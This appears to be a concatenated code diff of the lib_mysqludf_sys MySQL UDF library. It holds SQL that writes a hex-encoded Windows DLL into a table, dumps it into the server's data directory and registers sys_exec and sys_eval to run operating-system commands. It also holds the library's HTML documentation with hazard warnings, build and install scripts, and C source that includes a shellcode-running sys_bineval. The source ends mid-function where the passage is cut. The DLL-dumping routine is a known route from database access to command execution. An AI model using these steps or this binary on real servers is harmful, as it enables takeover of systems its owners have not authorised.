UPDATE udftest SET data=CONCAT(data,0x1c548597ddede433c95cfc897d2008fc3bf15abfdb5a8c393a4417e4f906ea3bf07405db16defd83fe02752ea152dc3bc1749e565fd03b7066e1865ee4000393113bd983fbf1d2141680120ab22735bb61ebfe642464205750135e436cb60e002f52d2061137ecafd153f76a0375434f34871df66c032168742e2c257febe3ad81851b71ec3409aae050516468854be5ac1065e8f62fb65ddb70fad2feff001907032ae4a4ae3dee070b1dc396ec16ff3bf07885d3246a1b5419de5da07d54550c0d05f8595d38b4a1dc8a22e928035f2120e6e6e6cd43051c891518891d14893569b6efe610893d0c668c1838060d2c666996661d0805042558fbee96002d7ffc9c8f14309556ed9f3fdb240704288d4508348b85e0fca05d3b1b63aa7095011c1920c6d8d6b12413180958c0091cb32c9fbb6b608985d8320a04dc57e01bc3031834687edf8f7d9af1ec596af75010e00a20833dd83bac7d2000f923685b1b7c4f9fc0244928c9c380401ef292223b2e5f6a144a13001531e9b190aaf8a29cc6e107bf7359eb676a08a904598fedd61d921b27355934e0f5f31d6e85bf03e4507f4b7c8cad6d5f506efe1cdc142cd6e2c4582a5b09e01b14f46393e525db08dfdc6c0bfe73130ab9d94e1e43f7d81bc0fa36edde0359485d1656b807c8be0457e946c75f503bc6730f8b0753025083c7b3f21c567afe72f13025d0d0f68dd8);
UPDATE udftest SET data=CONCAT(data,0x14cc632f08b84d5a287f57bac466b374045262413c03c18138501bfcfb974575ef33d2b90b011c48180f94b0c29a6209895d7f3fd748b65b81df31c80fb74114a20571063357c5c6d20de908180b76de7db5ffffdf8a0c3bf972098b580803d93bfb720a4283c0283bd672e86a1c0ed933d94e4f6afe9d17705c30d00635640cfc5083c3ad31ccec0823316033c56a7c86d277f064a31a892a46096877843e2c49f0d2094c7574559734cb645f2d1350198c083b41b8f05b2d24c1e81ff709e00183bbedd40a034f170059948be5ebd84e6a969701ca3da3c0fab216ec14972fbb3191b111bacc1e540540fcb8a491444ca312aa10dc9d5c87b1095f14c3a45cb4c7acfbef5400d75cb6d9968e6c038d2be0fafcc11a68cef13ca8fc8a039b0403710dc395707018679651481473e2e3ddcdd86903786851d70ab142efe19c56a30e68f885225b7cf892bf4ee640bb25eea0397866760d85c3255aa39f0a358e04eb60ca78116bed935d388b7598920bae0c32b640f007080c9dfed66e672710b4f4330c113bf77507be4fe0b768ef59eb0b85f30a95c1e0100bf0a1f4b147c200f7d607045e5f5bb43f1919191b5005585c60811d1919646ca4000004c84305038700feff50a1172f4e6f20617267756d656e7473ddffffdf096c6c6f77656420287564663a206c69625f6d7973716c0d5f3f32f7b773085f696e666f293918);
UPDATE udftest SET data=CONCAT(data,0x20766572777fdbfe73696f6e20302e01331f45787065637447657861eddb6f6f076c79201a65207374723f672074791b806d6d6b7572617121722bb065013b7477911f3f1f30f7968672206e4148436f756cdbb6636f246e6f74c463611320186d27a204766e79af660048b5ffffe66e201712c0015253445360a91de01b43b243bdf182720ea1bdf958d103c502633a5c4476476e6efb6edb8a539674b0735c41646d0769bed6fe7f6b938e2e57324b335354454e5550444106336d7bfbf665736b16705c7368c9655c762675be23a1b9ff5f6370705f70726f6af83e6ccb3e65ff5c52656c65617365182e706462c97c2716c8351bc707d0674d259b0ff50707069d92c3bad303e727cc08e3e84ed8810fd81f0a6b037f56a82090209e2b1210008d4516c1beb119bf44ff003400301855ff01162100e9b03c53505c100103c0bf00c7456e7669726f6edbbb2fdb7f5661726961626c6541184743757272145072ecf640fe6f636573734964546805616413d61a001f5469636ba1150dbd01d0fe51756572795003c36d616ef6de5aac37160e184469735937ffcbdf7e4c6962726a7943616c6c73497344656275676765db63ae9572685c96556e684064626f6f6f3164457846707469a146696c4adb52b6c219b4125417c9da0640a0611e11b65bdbbe49906c0c6b409d6d7087656bcd35e747517f77555122b6bb65091b);
UPDATE udftest SET data=CONCAT(data,0x5c537973186d0bafbbd0ee2b41737365094c69ddeef634405f686974396d5f2e5fdffedaf6616d73670878110b646a753a5f666469fbb0f6bb760d5f4370705863b9b65f63721b05ec076164035f686f6f6b4bb800b6f62f636a835f1c75017c01a55f1d735ec16dce0a1f0a6c2164ad58b0adf02a17096e75131346982c0f652f5f3dd65cdbda723456fe6d1c187b0af67db1b7035f706f52296e1064687b2f80ef756c5e6d75a61bdcd696252cb3066ed633b8ed19d82508661167efbd83db5a9ce4790835c7b73773ad32c06e4d0fd76f737bcd950d75667216232e00ffffff1f19274b254920211c2f63183427310c0917251217136517090705160cbffdffff1e080a0b160918181505061b050c10060717062105110f061421110b93efffdb082b2205070d111d0d18532d4838060007d9fead950848330a090b0c0510051616f76fff760e0b34150b18160d3d0542b605121e14066932c7dae67f110c0e1d4d0517230d0c24082400f0a2410be2ff042804f0280104e008041cca0fab7f43d64c010500ce2e8e4938e000642160f902210b01090e6612f6bdc972121710090b021ed27cb3c905070360045bf6deef32f61e40012a0207069fb9dc062703b7013c230f40e7a6cc6c4fb000500227ec40565dc0771cd9d0214207926e59002fac2e746c36d8e66578741a0c900eb74260ddd287602e72647661ab08fb6b);
UPDATE udftest SET data=CONCAT(data,0x0e5bc20a1302402e2649d374dffe032730021c0bd6b84dc04f737235ebb0d10860df731e4f4dc920cdcd5e4f980150223e72fb4d421b242412a052445300000000000000000900ff0000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d870f02000080207f8060287f585054);
UPDATE udftest SET data=CONCAT(data,0x505357ffd558618d4424806a0039c475fa83ec80e9f998ffff00000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300010c02200100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
UPDATE udftest SET data=CONCAT(data,0x0000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d);
UPDATE udftest SET data=CONCAT(data,0x6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000ca2e8e49000000003a840000010000000f0000000f000000a4830000e08300001c840000301000004012000000100000501200004012000010120000f01100004012000010120000a010000040120000601000009011000070110000e01000004f84000065840000828400009d840000a6840000b6840000c4840000cd840000);
UPDATE udftest SET data=CONCAT(data,0xdd840000eb840000f3840000028500000f850000178500002685000000000100020003000400050006000700080009000a000b000c000d000e006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e6974000000700000100000005d3c583e5c3e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
-- Export the hexadecimal encoded UDF to a binary file on the file system
--
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
--
-- From MySQL 5.1 and 6.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. The file
-- must be located in the plugin directory. This directory is given
-- by the value of the plugin_dir system variable.
--
-- The DLL must be in can be in C:\Program Files\MySQL\MySQL Server M.m\lib\plugin
--
-- Note that C:\Program Files\MySQL\MySQL Server M.m\lib\plugin DOES NOT
-- exist by default so it is NOT possible to save the DLL in the proper
-- folder where MySQL server looks for DLLs.
--
-- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
--
-- The DLL can be only in C:\Program Files\MySQL\MySQL Server M.n\lib\plugin
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 5.1 >= 5.1.19
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 6.0/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 6.0
--
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
--
-- From MySQL 4.1 and 5.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. As of MySQL
-- M.m.m, the file must be located in the plugin directory. This
-- directory is given by the value of the plugin_dir system variable.
-- If the value of plugin_dir is empty, the behavior that is used
-- before M.m.m applies: The file must be located in a directory
-- that is searched by your system's dynamic linker.
--
-- References:
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
--
-- The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
-- C:\WINDOWS\system32, @@basedir\bin or @@datadir (tested on MySQL 4.1.22
-- and MySQL 5.0.67 with NO plugin_dir set in my.ini configuration file,
-- which is the default setting)
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 4.1/data/lib_mysqludf_sys.dll'; -- On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/data/lib_mysqludf_sys.dll'; -- On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/data/lib_mysqludf_sys.dll'; -- On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
--
-- Notes:
-- If the library file already exists, the user SYSTEM does not have access
-- to overwrite it
-- The following enumerates the MySQL data directory
-- SELECT @@datadir
-- The followings will save into @@datadir. It is a valid PATH where MySQL
-- looks for DLL
SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.dll';
-- The followings will save into @@datadir\mysql where 'mysql' is the
-- database name where it is connected. It is not a valid PATH where MySQL
-- looks for DLL
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.dll';
-- SELECT data FROM udftest INTO DUMPFILE '\lib_mysqludf_sys.dll';
-- The following will save into C:\. It is not a valid PATH where MySQL
-- looks for DLL
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.dll';
-- Create two functions from the binary UDF file
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
-- Test the two functions
SELECT sys_exec('echo test > %TEMP%/lib_mysqludf_sys.txt'); -- %TEMP% path is C:\WINDOWS\Temp
SELECT sys_eval('echo %TEMP% && whoami');
-- Cleanup the file system and the database
SELECT sys_exec('del %TEMP%/lib_mysqludf_sys.*');
DROP TABLE IF EXISTS udftest;
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0

View File

@@ -0,0 +1,278 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
</head>
<body>
<div>
<a href="../index.html">Top</a>
| <a href="../mysql_udf_repository_libraries.html">Up</a>
</div>
<h1>lib_mysqludf_sys</h1>
<div>
<a href="lib_mysqludf_sys.html">Documentation</a>
| <a href="lib_mysqludf_sys.so">Binary</a>
| <a href="lib_mysqludf_sys.sql">Installation</a>
| <a href="lib_mysqludf_sys.c">Source</a>
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
</div>
<p>
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
<p>
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
<a name="sys_eval"></a><h2>sys_eval</h2>
<p>
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
</p>
<h3>Syntax</h3>
<pre>sys_eval(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
Whatever output the command pushed to the standard output stream.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_eval;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
</p>
<h3>Syntax</h3>
<pre>sys_exec(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
An (integer) exit code returned by the executed process.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_exec;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_get([<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt>returns</dt>
<dd>
If the variable exists, a string containing the value of the environment variable.
If the variable does not exist, the function return NULL.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_get;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
The variables known in the environment where mysql runs are freely accessible using this function.
Any user can get access to potentially secret information, such as
the user that is running mysqld, the path of the user's home directory etc.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<a name="sys_set"></a><h2>sys_set</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_set([<b>arg1, arg2</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt><code><b>arg2</b></code></dt>
<dd>
An expression that contains the value that is to be assigned to the environment variable.
</dd>
<dt>returns</dt>
<dd>
0 if the assignment or creation succeed.
non-zero otherwise.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_set;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
This function will overwrite existing environment variables.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
</body>
</html

View File

@@ -0,0 +1,6 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
strip -sx so/lib_mysqludf_sys.so
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

View File

@@ -0,0 +1,47 @@
#!/bin/bash
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2007 Roland Bouman
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
# web: http://www.mysqludf.org/
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment
PORT="3306"
USER="root"
echo "Compiling the MySQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need libmysqlclient development software installed"
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install libmysqlclient15-dev"
exit 1
else
echo "MySQL UDF compiled successfully"
fi
echo -e "\nPlease provide your MySQL root password"
mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "MySQL UDF installed successfully"
fi

View File

@@ -0,0 +1,35 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_bineval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

View File

@@ -0,0 +1,551 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_bineval
*
* executes bynary opcodes.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
);
DLLEXP
void sys_bineval_deinit(
UDF_INIT *initid
);
DLLEXP
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
);
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
